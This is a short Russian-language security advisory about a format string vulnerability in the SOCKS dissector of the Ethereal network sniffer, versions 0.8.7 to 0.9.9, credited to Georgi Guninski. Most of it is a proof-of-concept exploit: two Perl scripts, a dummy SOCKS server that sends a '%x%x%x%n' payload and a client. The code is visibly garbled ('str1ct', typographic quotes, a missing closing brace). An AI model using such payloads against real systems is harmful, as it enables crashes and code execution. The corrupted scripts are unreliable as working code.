Две уязвимости обнаружено в сетевом сниффере Ethereal. Удаленный пользователь может аварийно завершить работу сниффера или выполнить произвольный код. 

Georgi Guninski обнаружил уязвимость форматной строки в
packet-socks.c в proto_tree_add_text() функции. Данные, переданные пользователем к format_text() функции не проверяются на наличие спецификаций формата. 

Удаленный пользователь может создать специально обработанный SOCKS пакет и послать его через сеть, которая контролируется Ethereal, чтобы завершить процесс или выполнить произвольный код. 

Эксплоит:

#!/usr/bin/perl
# Written by Georgi Guninski
use IO::Socket;
use str1ct;
#local port
my $port = 1080;

#redirect to

my $msg=»\x05\x00″;
my $repl=»\x05\x00\x00\x00\x02aa»;

my $pi=»m\$sux\%x\%x\%x\%n»;

my $server = IO::Socket::INET->new(LocalPort => $port, Type => SOCK_STREAM, 
Reuse => 1, Listen => 2)
or die «Couldn’t create tcp-server.\n»;

print «Dummy socks server for ethereal\nListening on localhost:${port}\n»;

my $client;
while ($client = $server->accept()) {
print «Client connected.\n»;
print «Sending…»;
sleep(1);
# while(<$client>) {print $_;}
print $client «$msg»;
print «OK\n»;
sleep(1);
print $client «$repl»;
sleep(1);
print $client "$pi";
close($client);
exit(0);

—-sockcl.pl————
#!/usr/bin/perl -w
# Written by Georgi Guninski
use IO::Socket;
use str1ct;
my $host= $ARGV[0] || «localhost»;
my $port=1080;

print «host=${host}\n»;

my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => 
«TCP») || die(«Unable to connect»);

print «Start\n»;

my $logcmd=»\x05\x00\x00″;
my $pingcmd=»\x05\x80\x00\x01\x01\x01\x01\x01\x01\x01″;

print $socket $logcmd;
my $x;
sysread($socket,$x,2);
#sleep(1);
print $socket $pingcmd;
sleep(5);

print "Done\n";

Уязвимость обнаружена в Ethereal 0.8.7 — 0.9.9.

Оставить мнение